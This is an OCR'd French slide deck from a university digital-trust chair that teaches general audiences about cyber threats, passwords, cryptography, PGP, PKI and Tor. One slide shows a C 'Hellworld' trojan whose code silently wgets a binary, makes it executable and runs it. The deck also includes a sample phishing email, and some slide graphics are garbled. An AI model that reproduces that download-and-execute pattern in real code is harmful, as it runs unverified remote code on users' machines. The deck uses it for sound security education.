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La sécurité, quelle confiance ?

Objectifs de la Chaire de Confiance Numérique

Mise en place d'une activité de recherche traitant des aspects de la
Confiance Numérique autour de la fiabilisation et de la sécurisation
des systemes et des services informatiques

» Pérenne

» Visible

Activité de recherche:

» Impulsée par almerys et la Caisse d'Epargne d'Auvergne et du
Limousin via la Fondation de I'Université d'Auvergne
» Soutenue par le Région Auvergne

» Developpée au LIMOS
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UNIVERSITE | ldﬂ L1
D'AUVERGNE
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e

' CAISSE D'EPARGNE 2/ 54
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La sécurité, quelle confiance ?

Objectifs de la Chaire de Confiance Numérique

» Recrutement d'un enseignant chercheur spécialiste du
domaine qui sera le pivot nécessaire au démarrage et
I'installation de cette activité

» Organisation d'une réflexion sur les actions de formation a
mener des actions de dissémination et de transfert de
technologies (Workshop, Projets ANR FUI,..)

» Mise en place et animation d'un groupe de réflexion et d'un
séminaire pour échanger sur cette problématique

http://confiance-numerique.clermont-universite.fr/

Déja plus de 30 séminaires (France, UK, Suisse, Espagne etc ...)
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http://confiance-numerique.clermont-universite.fr/
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Chiffrement (complétement) homomorphe : de la théorie a la pratique
Enjeux et impacts juridiques du chiffrement homomorphe
Combinaison d'analyses statiques pour |'aide a la détection et a
|'exploitabilité de vulnérabilités dans du code binaire

Keep calm and change your password

Authentication Using Pulse-Response Biometrics

Security issues and Directions of Intelligent Transport Systems within
limited-resources constraints

[oT: Internet of (Insecure) Things

Signature électronique et identité numérique : les ingrédients
indispensables pour développer la confiance sur Internet.

Primitives et constructions cryptographiques pour la confiance numérique.
Je sais tout sur vous grace au Wi-Fil

Vers un carte d'identité respectueuse de la vie privée.

Identifiants et guesswork.

Les nouvelles armes de James Bond.

Virus dans une carte mythe ou (proche) réalité ?

La confiance numérique, de I'autre c6té du miroir...

Comment avoir confiance dans les applications numériques ?

Les méthodes formelles a la rescousse. 4 /54
Comment remettre l'internaute au centre des échanges ?


http://confiance-numerique.clermont-universite.fr/

La sécurité, quelle confiance ?

Séminaire Confiance Numérique

Prochain Séminaire

» Jeudi 7 Avril 2016, 14h00 :
Olivier Levillain (ANSSI) : Regards critiques sur SSL/TLS.

Vicent Nicomette (LAAS) Smart-TV Security Analysis:
Practical Experiments

> Live et replay sur la web TV de I'UDA.

» Inscriptions : pascal.lafourcade@udamail.fr
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La sécurité, quelle confiance ?

Plan

Motivations

La sécurité et vous ?
Notions de cryptographie
Architectures PKI

Conclusion
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La sécurité, quelle confiance ?
Motivations

Nowadays Security is Everywhere!

Due to the succes of Computer Science and in the future of loT. 4,5



La sécurité, quelle confiance ?

Motivations

Wormhole Attack

contactless
smart card
emulator

access control system:
gate equipped with
contactless smart card reader

contactless
smart card

fast
connection

wormhole

smart card
reader
emulator
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La sécurité, quelle confiance ?
Motivations

Hacking Pacemakers:

Manufacturers are still not putting security first when designing
implantable medical devices (2012)
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La sécurité, quelle confiance ?
Motivations

4 Famillies of Threats

v

Espionnage

v

Sabotage

v

Destabilisation

v

Cybercriminality
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Netatmo

1 UK  Russia —
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La sécurité, quelle confiance ?
Motivations

Espionnage

» Little Brother (Individual)
» Medium Brother (Corporation)
» Big Brother (Government)

13/ 54

Edward Joseph Snowden, 6th june 2013



La sécurité, quelle confiance ?
Motivations

Logiciels Libres

FSF30% | Founpation

#include <stdio.h>

int main(void)

{
printf ("Helloworld\n");
return O;

¥

Que fait ce programme ?

.
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http://sancy.univ-bpclermont.fr/~lafourcade/Helloworld
http://sancy.univ-bpclermont.fr/~lafourcade/Hellworld

La sécurité, quelle confiance ?
Motivations

Logiciels Libres

FSF30% | Founpation

#include <stdio.h>

int main(void)

{
printf ("Helloworld\n");
return O;

¥

Que fait ce programme ?

Que font les programmes binaires téléchargés suivants ?
http://sancy.univ-bpclermont.fr/~lafourcade/Helloworld
http://sancy.univ-bpclermont.fr/~lafourcade/Hellworld
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La sécurité, quelle confiance ?
Motivations

Danger HELLWORLD

#include <stdio.h>
#include <stdlib.h>

int main(void)
{
system("wget -q http://sancy.univ-bpclermont.fr/
~“lafourcade/Helloworld") ;
system("chmod 777 Helloworld");
system("clear");
system("./Helloworld") ;
return O;

15 / 54
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Motivations

Sabotage
Stuxnet, 2010

mmm HOW STUXNET WORKED ms—

J UPDATE FROM SOURCE 7
? 7
[\
—
1. infection 2.search 3. update
g ita target,

proceeds toinfect all machines running i iftis,
Microsoft Windows. digital

evade automated-detection systems. toenrich nuclear fuel. version ofiself.

B-E-

4. compromise 5. control

6. deceive and destroy

e
Thenit

exploiting “zero day" it i 9
" 3

= .
Saudi Aramco 30 000 PC effacés.
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Destabilisation : Defacing

Server HackeD
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Motivations

Destabilisation : Botnets and Zombies
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La sécurité, quelle confiance ?
Motivations

Cybercriminality : Hamegonnage (Phising)

== TrustedBank”

Dear valued customer of TrustedBank,

“We have recieved notice that you have recently attempted to withdraw the
fallowing amaunt from your checking account while in another country: $135.28

If this information is not correct, sameane unknown may have access to your
acoaunt. As a safety measure, please visit our website via the link belaw to verity
your personal infarmation

ittp: i/ trustedhank co migeneralicustverityinto asp

Once you have done this, our fraud department will work to resolve this
discrepency. We are happy you have chosen us to do business with

Thank you,
TrustedBank

PHISHING )
http://www.societegenerale.fr/espaceclient:
1d=56452575711&res=lorem-ipsum-dolor&quux=2&lang=
frsessid=
jP3ie3qjSebbZRsC0c9dpcLVe2cAh0sCzaljcX7mSuRzwY4NOv1DBB7 1DM
88.132.11.17

Member FDIC & 2005 TrustedBank, Inc
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Motivations

Cybercriminality : Ransomwares

[Buniock this Page o Continuel

ATTENTION!

e G e T e e e

Complete an offer to continue »

04 praim-ja mchater o waeckar Uk
et s e e

[ —————— = Dicash

http://stopransomware.fr/

lr'e ordinateurlestiblogue?
e — w
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Motivations

http://cybermap.kaspersky.com/

AM T INFECTED?

CYBERTHREAT REAL-TIME MAP

=

KA)PER)KYE


http://cybermap.kaspersky.com/

La sécurité, quelle confiance ?
Motivations

Pourquoi y-a-t-il de plus en plus d'attaques?
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Motivations

Pourquoi y-a-t-il de plus en plus d'attaques?

-automatique

semi

Rapide, large échelle
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La sécurité, quelle confiance ?
Motivations

Pourquoi y-a-t-il de plus en plus d'attaques?

| T Tl T T Elﬂuu b |
LTI T T I T I T
oo o il Do | !
s

ol .
[

T anir el
| ——

Rapide, large échelle, semi-automatique
Fausse impression d'étre anonyme
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La sécurité, quelle confiance ?
Motivations

Pourquoi y-a-t-il de plus en plus d'attaques?

o e o e (N e e e
M v e n %ﬁhﬁ.“ﬁ"“ T e
T T T T Fhtoun oo et U ol ooty e — [} u'}
\ml__. g [s] 0 u‘ﬂqw T TN T e
[ *—mﬁi——h\‘ Ll -r“__‘?”['

Rapide, large échelle, semi-automatique

Y
Fausse impression d'étre anonyme \‘

Internet a été concu pour fonctionner pas pour étre siir !
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La sécurité, quelle confiance ?
La sécurité et vous ?

La sécurité numérique est déja la

adie

al;
carte d'assurance Iy

vitale
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La sécurité, quelle confiance ?
La sécurité et vous ?

Mais prendre de bonnes habitudes ca prend du temps ...

- Cestrond, |
l:estlleau N

Le casque a vélo

{3

~

ENCORE.
EGER.

méme quand c'est important
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La sécurité, quelle confiance ?
La sécurité et vous ?

Devenir acteur de sa sécurité numérique
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La sécurité, quelle confiance ?
La sécurité et vous ?

Devenir acteur de sa sécurité numérique

car la sécurité c'est pas automatique.
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La sécurité et vous ?

Sécurité de mes mots de passe

‘The 1Password Keychain Is Locked
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La sécurité, quelle confiance ?
La sécurité et vous ?

Sécurité de mes mots de passe

o
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La sécurité, quelle confiance ?

La sécurité et vous ?

Top 25 en 2015

123456 (=)
password (=)
12345678 (Up 1)
qwerty (Up 1)
12345 (Down 2)
123456789 (=)
football (Up 3)
1234 (Down 1)
1234567 (Up 2)
baseball (Down 2)
. welcome (New)

. 1234567890 (New)

© 0N W N

=
N~ O

13.
14.
15.
16.
17.
18.
19.
20.
21.
22.
23.
24,
25.

abc123 (Up 1)
111111 (Up 1)
1gaz2wsx (New)
dragon (Down 7)
master (Up 2)
monkey (Down 6)
letmein (Down 6)
login (New)
princess (New)
qwertyuiop (New)
solo (New)
passwOrd (New)

28 / 54
starwars (New)



La sécurité et vous ?

Passwords: Brute force

| == Minuscules (26 Y
) caractéres)
4 =M. . et chitfres (62 Pl
] caractéres) i"“’
el
/ *

=

A

‘.,.-"

el

gl

3

7 B )

0

Longueur dumot de passe
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La sécurité, quelle confiance ?
La sécurité et vous ?

Quelques conseils

Un mot de passe

. ne se préte pas

ne se laisse pas trainer

ne s'utilise qu'une fois

s'il est cassé, il faut en changer
il faut en changer régulierement
il est jamais assez sophistiqué

la taille compte.

30 / 54
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La sécurité et vous ?

Quelques conseils

Un mot de passe

1. ne se préte pas

No o s~ wDd

ne se laisse pas trainer

ne s'utilise qu'une fois

s'il est cassé, il faut en changer
il faut en changer régulierement
il est jamais assez sophistiqué

la taille compte.
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Notions de cryptographie

Plan

Notions de cryptographie
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La sécurité, quelle confiance ?
Notions de cryptographie

Clef symétrique

chiffrement déchiffrement

Exemples

» DES
» AES

32/ 54



La sécurité, quelle confiance ?
Notions de cryptographie

Communications téléphoniques
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La sécurité, quelle confiance ?
Notions de cryptographie

Chiffrement a clef publique

chiffrement déchiffrement

Exemples

» RSA:c=m¢® modn

» ElGamal : c = (g",h" - m)
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La sécurité, quelle confiance ?
Notions de cryptographie

Octobre 2014

TED

Ideas worth spreading

L’importance de la vie privée
Why privacy matters?

Par Glenn Greenwald

Les gens pensent ne rien avoir a cacher ...

35 /54
http://jenairienacacher.fr/ !


http://jenairienacacher.fr/

La sécurité, quelle confiance ?
Notions de cryptographie

La sécurité des emails par défaut
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La sécurité, quelle confiance ?
Notions de cryptographie

Premiére demande d'E. Snowden ...

OSCAR’ DU MEILLEUR
FILM DOCUMENTAIRE

nesiagamnesia:-§ gpg -d
BEGIN PGP PESSAGE

BOLMASXLYTAONGTAD/ LbHBO152GCPF] TICTP LRP/hcs/M ruNKBaB AR/ A
KE SLABE TuDh4 r4nQmEZ59Tjnml XHKyRMO31pOEGTPVEWNTWAI 2X9U1 5
KPaZ000CHLx FPOZCAP 2N Xgar/NOFISK
Y7Ak25Y3b1HVr0BgIZ1FaF81) 1v175) fLt/pE/81q0v0epUMKOLWALL tcd:
SY21R W OSUFLISHRCAUSMIL5g) YV LY NNUSOUDNBKADPIKE B 29X
(MeVOV44ATZ) TE TIDRA( MzIB7VaZPUnU1DXCSROJS0DR
;uujur.‘IIZM»Im[lA/nlJuB-‘\
sdou T782e0LE 1HUDh 1c 1UpotIxvCLZLUR/ fL
ZOrVESSSKAMIDIGFLCHUUL OO Ch Tc S
/COA1GBpETS Vo2 e L nel hFoFpd tSatonc fuflLeg
NADCHGFXG 2N J04COIBULEOETSEQD) 2+VaL50) SPAOE LKp THOLTHh 100097
67O ML GFCOQUKpOKAGNENT LAFEIATBBOAXS/bADHZKEVMVANTOIGIHVTVENC

pPm)

... utiliser

PGP 37/



La sécurité, quelle confiance ?
Notions de cryptographie

Pretty Good Privacy EEE

Logiciel de chiffrement, déchiffrement, signature de courriers
électroniques, inventé par Phil Zimmermann en 1991.

Si la vie privée est mise hors la loi,
seuls les hors-la-loi auront une vie privée.

If privacy is outlawed, only outlaws will have privacy 38 /54



La sécurité, quelle confiance ?

Notions de cryptographie

Est-ce si difficile ?

o s~ =

Télécharger I'outil GPG et I'installer.
Générer une paire de clefs > 4096 bits
Importer votre clefs

Télécharger les clefs de vos amis

Envoyer des emails chiffrés.

i

39 /54
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Est-ce si difficile ?

Télécharger I'outil GPG et I'installer.
Générer une paire de clefs > 4096 bits
Importer votre clefs

Télécharger les clefs de vos amis

o s~ =

Envoyer des emails chiffrés.

i

eGnuPG

“Now, my correspondence with friends has become secure!”

39 /54
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Notions de cryptographie

Fonction de Hachage (SHA-1, SHA-3)
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Fonction de Hachage (SHA-1, SHA-3)

==

Propriétés de résitance

» Pré-image
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Fonction de Hachage (SHA-1, SHA-3)
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» Seconde Pré-image
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La sécurité, quelle confiance ?
Notions de cryptographie

Fonction de Hachage (SHA-1, SHA-3)

Propriétés de résitance

» Pré-image

» Seconde Pré-image

» Collision

40 / 54
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Installation de logiciel
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Installation de logiciel
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La sécurité, quelle confiance ?
Notions de cryptographie

Signature
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Signature

signature

clef secréte clef publique

RSA: m? mod n

42 / 54



La sécurité, quelle confiance ?
Notions de cryptographie

Application : éviter la fraude au président

» En 2005, 2 300 plaintes dépoées
» En 2010, plus de 485 millions d'euros
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Application : éviter la fraude au président

» En 2005, 2 300 plaintes dépoées
» En 2010, plus de 485 millions d'euros

—
—

> —
Lescroc transfére
Targent vers des

comptes basés a

I'étranger

POLICENATIGNALE

@

Lescroc collecte des informations pour
connaitre I'entreprise et ses dirigeants
(réseaux sociaux, organigramme}

Se faisant passer pour le dirigeant Sous la pression ou en

de I'entreprise, 'escroc prétexte confiance, l'entreprise

une opération financiére urgente exécute a transaction
et confidentielle

Q

e € rotice

Solution : 43/ 54
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La sécurité, quelle confiance ?
Architectures PKI

PKI : Public Key Infrastructure

» Utiliser des clefs publiques

» Etablir une clef symétrique de session
» Confiance

» Certificats

» Authorité de certifications

» Chaine de confiance

45 / 54



La sécurité, quelle confiance ?
Architectures PKI

Public Key Infrastructure (PKI)

Principales fonctionalités d'une PKI

AC :
AE :

Création d'une paire de clef
Génération d’un certificat
Remise du certificat au porteur
Publication des certificats
Vérification des certificats
Révocation des certificats (CRL)

Authorité de Certification
Authorité d'Enregistrement

46 / 54



La sécurité, quelle confiance ?
Architectures PKI

Public Key Infrastructure (PKI)

Clef publique

AC

Cenificat de la
clef publique
@Al

=

Coordonnées du porteur
(nom : Alice...)
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Architectures PKI

Public Key Infrastructure (PKI)

Génération d’une paire
de clefs

Clef publique

. Clef privée

Requéte de certificat

AC

Certificat de la

clef publique
ANNUAIRE | =—— &' Alice -

=

Clef
publique

(nor

Coordonnées du porteur
Alice.

)

Authentification de I"’AC confiance assurée par

» Chaine de certificats

» Certificat racine ou certificat auto-signé

47 / 54
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Architectures PKI

Vérification

1°) Récupération

< Signature : s

Certificat signé

Certificat

Fonction
de
hachage

Clef pub : KpubA
Emetteur : Ivan

2°) Extraction

Emetteur == Ivan

3°) Récupération

Certificat Racine Certificat
Q

Sujet: Ivan

Clef pub : Kpubl

Emetteur : Ivan

Fonction
de
hachage

Signature : r

vérification de la

Clef publique

6°) Algorithme de
vérification de la signature

5°) Algorithme de

7°) Clef : OK

Clef publique

Clef publique

signature
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Architectures PKI

Applications

Application 7

Présentation6
Session 5
Transport 4
Réseau 3
Liaison 2

Physique 1

Routage

Canaux  Messagerie Paiements

o ] on [
EE I8 2

SSL/TLS,

TCP

P

Ethernet

UDP

=

o
o
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Architectures PKI

Application : The Onion Router Tor

%ient
\%o—%o = &

Nceud d’entrée

L ee-e. §

Nceud de sortie

o = e -

https://www.torproject.org 50/ 54
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La sécurité, quelle confiance ?
Architectures PKI

Application : Tor

Message
Protection par K(C)
Protection par K(B) (K(X) : clef de circuit du Relais Oignon X)

Protection par K(A)

® = s

Relais A Relais B Relais C
1 1 1

Serveur

Proxy
Oignon 1
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La sécurité, quelle confiance ?

Conclusion

5 Choses a retenir

Ol IO U

La sécurité c'est pas automatique
Devener acteur de votre sécurité
Mots de passe

Chiffrer et signer vos emails

Principe de confiance des PKI
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La sécurité, quelle confiance ?
Conclusion

Merci pour votre attention.

Questions ?

Architectures PKI
et
communications

sécurisées

Jean-Guillaume Dumas
Pascal Lafourcade

Patrick Redon

préf

DUNOD
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